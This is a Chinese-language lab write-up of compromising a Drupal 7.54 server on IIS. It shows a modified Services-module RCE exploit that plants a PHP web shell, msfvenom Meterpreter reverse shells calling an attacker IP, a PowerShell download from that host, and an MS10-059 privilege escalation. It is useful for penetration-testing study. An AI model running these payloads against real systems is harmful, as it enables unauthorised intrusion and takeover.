10.10.10.9
scan 80 /tcp open http Microsoft IIS httpd 7.5 135 /tcp open msrpc Microsoft Windows RPC49154 /tcp open msrpc Microsoft Windows RPC
web cms: drupal 7
Drupal 以权限划分用户可见页面,当使用超级管理员帐号登录,进入 admin 页面,这即可算做管理后台,约定所有模块的管理选项均在 admin 路径之下。
whatweb whatweb http://10.10.10.9/
http://10.10.10.9/ Content-Language, Country, Drupal, HTTPServer, IP, JQuery, MetaGenerator, Microsoft-IIS, PHP, PasswordField, Script, Title, UncommonHeaders, X-Frame-Options, X-Powered-By
searchsploit\msf模块,查点 第一:Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | exploits/php/ webapps/44557 .rb searchsploit -m exploits/php/ webapps/44557 .rb cp /root/ Desktop/9/ 44557 .rb /usr/ share/metasploit-framework/m odules/exploits/u nix/webapp/ drupal_drupalgeddon3.rb User register form with exec,该漏洞需要注册用户,并登陆使用cookies。然而user/register模块提示,不能注册用户,网站配置问题。 第二:Drupal < 8.3 .9 / < 8.4.6 / < 8.5 .1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | exploits/php/ remote/44482 .rb exploit/unix/ webapp/drupal_drupalgeddon2 2018 -03 -28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
目录扫描 dirbuster扫描:能访问的目录都是无关紧要的,敏感目录如admin/includes/都是403。 burp scanner扫描:
robots .txthttp ://10.10.10.9 /CHANGELOG.txtDrupal 7 .54 , 2017 -02 -01
writeup
https://www.exploit-db.com/exploits/41564
droopescan droopescan scan drupal -u http://10.10.10.9/
发现了目标存在3个plugins,经过搜索,发现Services模块有漏洞。
searchsploit drupal | grep 41564 searchsploit -m exploits/php/ webapps/41564 .php mv /root/ 41564 .php rce.php see rce.php
问题1 php解析exp出错。 普通文本编辑器看不出来错误在哪,用vi看了一下==,居然是注释换行的问题。
缺少一个模块,导致exp运行出错。
apt-get -y install php-curl apt-get upgrade php 更新到PHP 7.3.2-3 ,问题解决了
问题2: apt-get -y install php-curl E: Could not get lock /var /lib/dpkg/lock - open (11 : Resource temporarily unavailable) E: Unable to lock the administration directory (/var /lib/dpkg/ ), is another process using it?
解决方案:
rm /var/ lib/dpkg/ lock 重新执行安装命令后,提示以下消息 E: Could not get lock /var/ cache/apt/ archives/lock - open (11 : Resource temporarily unavailable) E: Unable to lock directory /var/ cache/apt/ archives/ rm /var/ cache/apt/ archives/lock 即可
修改php exp https://www.exploit-db.com/exploits/41564,不知道为什么,该exp是不能直接运行的,需要修改很多处位置,这个实验我做了很久,就是卡在php代码上。还是需要一点php的知识。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php 修改第一处,“endpoint”;以及下面另外一处的注释 error_reporting(E_ALL); define('QID' , 'anything' ); define('TYPE_PHP' , 'application/vnd.php.serialized' ); define('TYPE_JSON' , 'application/json' ); define('CONTROLLER' , 'user' ); define('ACTION' , 'login' ); 修改第2 处,目标ip$url = 'http://10.10.10.9/' ; 修改第3 处,路径$endpoint_path = '/rest' ;$endpoint = 'rest_endpoint' ;$file = [ 修改第4 处,写入的文件名和内容。 'filename' => 'whale.php' , 'data' => '<?php echo(system($_GET["cmd"])); ?>' ];
获取shell view-source:http://10.10.10.9/whale.php?cmd=whoami
cmd
result
whoami
nt authority\iusr
systeminfo
Microsoft Windows Server 2008 R2
dir
C:\inetpub\drupal-7.54
type C:\Users\dimitris\Desktop\user.txt
xxx
powershell $PSVersionTable
无ps
获取metepreter msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f raw > payload1.txt
修改php exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $myfile = fopen ("payload1.txt" , "r" ) or die("Unable to open file!" ); $payload1 = fread ($myfile,filesize("payload1.txt" )); $url = 'http://10.10.10.9/' ; $endpoint_path = '/rest' ; $endpoint = 'rest_endpoint' ; $file = [ 'filename' => 'whale1.php' , 'data' => $payload1 ];
handler -H 10.10.14.7 -P 1234 -p php/meterpreter_reverse_tcp
提权 参考该文章 进行提权
提权尝试一: msfvenom --platform Windows -p windows/x64 /meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=7788 -e x86 /shikata_ga_nai -b '\x00 \x0 a\xff' -i 3 -f exe -o payload2 .exehandler -H 10.10.14.7 -P 7788 -p windows/x64 /meterpreter/reverse_tcp
结果:失败 原因:只能通过web执行php类型的metapreter,没有考虑好web不能执行windows二进制(exe)类型payload
提权尝试二: 当payload是php/meterpreter_reverse_tcp
时,后续渗透无法使用suggester模块。
而且该模块不知道为什么,一旦执行命令,就被断开连接。
提权尝试三: wget http://10.10 .10.9 /whale.php?cmd=systeminfo -o sys.txtpython windows-exploit-suggester.py --update python windows-exploit-suggester.py --database 2019 -03 -06 -mssb.xls --systeminfo sys.txt
msfvenom --platform Windows -p windows/x64 /meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=9009 -f exe -o p.exehandler -H 10.10.14.7 -P 9009 -p windows/meterpreter/reverse_tcppython -m SimpleHTTPServer 80 用nc反弹的cmd,把p.exe用powershell传到目标机powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.7 /MS10 -059 .exe','C:\inetpub\drupal-7 .54 \15 .exe')15 .exe 10.10.14.7 5555
总结 google “IIS vesions”,进行windows操作系统的识别
github下载droopescan,对drupal进行扫描。
? 如何识别cms的漏洞。 当遇到一个陌生的cms时,可以先在github上搜索cms对应的扫描器,而不是自己手动通过服务版本识别,再找exp,逐个确认是否有已知漏洞。这样效率会很低。
?为什么要使用droopescan 扫描器都是基于插件或者是特征库的,你不能用nessus扫描web漏洞,appscan扫描系统漏洞。选择合适的扫描器。
?如何自动下载python程序所需的依赖pip install -r requirements.txt